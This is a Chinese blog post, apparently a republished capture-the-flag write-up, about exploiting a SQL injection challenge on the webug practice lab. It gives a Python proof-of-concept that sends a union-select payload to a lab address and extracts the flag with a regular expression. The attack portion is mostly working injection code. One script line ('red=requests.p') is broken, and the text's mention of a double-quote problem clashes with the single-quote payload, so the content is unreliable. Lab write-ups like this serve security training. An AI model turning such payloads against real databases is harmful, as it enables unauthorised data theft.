用python写注入漏洞的poc

Posted 戴帽子的小孩

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了用python写注入漏洞的poc相关的知识,希望对你有一定的参考价值。

webug靶场一道简单的注入题

加点后报错

could not to the database You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \'\'1\'\'\' at line 1

大致可以猜出是双引号的问题,闭合即可,接下来就是常规的注入过程,最后拿到flag

下面是代码

#-*- coding:utf-8 -*-

import requests
import re

def poc():
    url="http://192.168.241.128/pentest/test/sqli/sqltamp.php"
    data={
        "gid":"-1\' union select 1,flag,3,4 from flag #"
    }
    req=requests.get(url,data)
    red=requests.p
    html=req.content
    html=html.decode(\'utf-8\')
    sear=r\'名称为:(.+?)</font>\'
    flag=re.findall(sear,html)


    with open(\'test1.txt\',\'w\') as f:
        f.write(str(flag))


if __name__ == \'__main__\':
    poc()

这里我用正则匹配将flag匹配并写入文件,一定要对返回的数据进行转码

否则匹配不到,还有%23要写成#才能被python识别。

以上是关于用python写注入漏洞的poc的主要内容,如果未能解决你的问题,请参考以下文章

Python3实现PoC——wooyun-2014-070827(SQL注入)

关于poc脚本的一些问题

使用 Python 编写文件上传漏洞Poc

使用 Python 编写文件上传漏洞Poc

通告更新Apache Solr模板注入远程代码执行漏洞安全风险通告

discuz7.2 faq.php 注入漏洞分析